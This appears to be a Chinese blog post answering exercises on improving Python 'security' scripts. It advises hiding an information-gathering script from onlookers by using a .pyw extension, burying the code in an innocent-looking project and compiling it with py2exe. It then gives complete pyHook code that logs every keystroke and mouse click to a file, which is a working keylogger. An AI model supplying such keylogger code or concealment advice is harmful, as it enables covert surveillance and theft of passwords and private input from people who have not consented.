Python安全脚本优化与改进

1、构建的脚本能快速收集所需信息,但缺少一些使其更有用的特性,请简述这些特性缺失的问题及解决办法。

  • 特性缺失问题及解决办法如下:
  1. 以当前形式隐秘运行脚本不可行 ,无论是从命令提示符运行还是从资源管理器中运行,都会自动打开新的命令提示符窗口,可能会暴露使用者意图。
    解决办法

    • 首先将脚本的输出部分转换为写入文件而非打印到标准输出。
    • 之后有两个选择:
    • 使用 .pyw 扩展名保存文件,可防止 Python 打开命令提示符窗口;
    • 若担心有人监视,可将代码包含在另一个看起来更无害的 Python 项目中,具体处理方式取决于隐藏代码的程序类型。
  2. 脚本便携性不足 ,当前脚本无法在未安装 Python 的系统上运行。
    解决办法有两个

    • 将脚本与像 WinPython 这样的移动 Python 安装程序一起加载到闪存驱动器上,此方法优点是可按需打开文件并修改代码;
    • 使用像 py2exe 这样的包将脚本编译成可执行文件。

2、pyHook库不仅能监听按键,还能使用相似方法处理鼠标输入。请编写一个Python脚本,利用pyHook库捕获鼠标点击的信息并将其写入日志文件。

要实现这个需求,我们需要编写一个脚本,使其能够监听鼠标点击事件并将相关信息写入日志文件。

以下是一个示例代码:

```python
import pyHook
import pythoncom
import logging

# 配置日志文件
logging.basicConfig(filename='log.txt', level=logging.INFO, format='%(asctime)s - %(message)s')

# 处理按键事件
def keypress(event):
    if event.Ascii:
        char = chr(event.Ascii)
        logging.info(f'Key pressed: {char}')
        if char == '~':
            exit()
    return True

# 处理鼠标点击事件
def mouse_click(event):
    logging.info(f'Mouse clicked at ({event.Position[0]}, {event.Position[1]}) with button {event.MessageName}')
    return True

# 创建HookManager对象
hm = pyHook.HookManager()

# 绑定按键按下事件
hm.KeyDown = keypress

# 绑定鼠标点击事件
hm.MouseAllButtonsDown = mouse_click

# 开始监听键盘和鼠标
hm.HookKeyboard()
hm.HookMouse()

# 进入消息循环
pythoncom.PumpMessages()

代码解释:

  1. 日志配置 :使用 logging.basicConfig 函数配置日志文件,将日志信息写入 log.txt 文件中。
  2. 按键处理函数 keypress 函数用于处理按键事件,将按下的按键信息写入日志文件。当按下 ~ 键时,程序退出。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值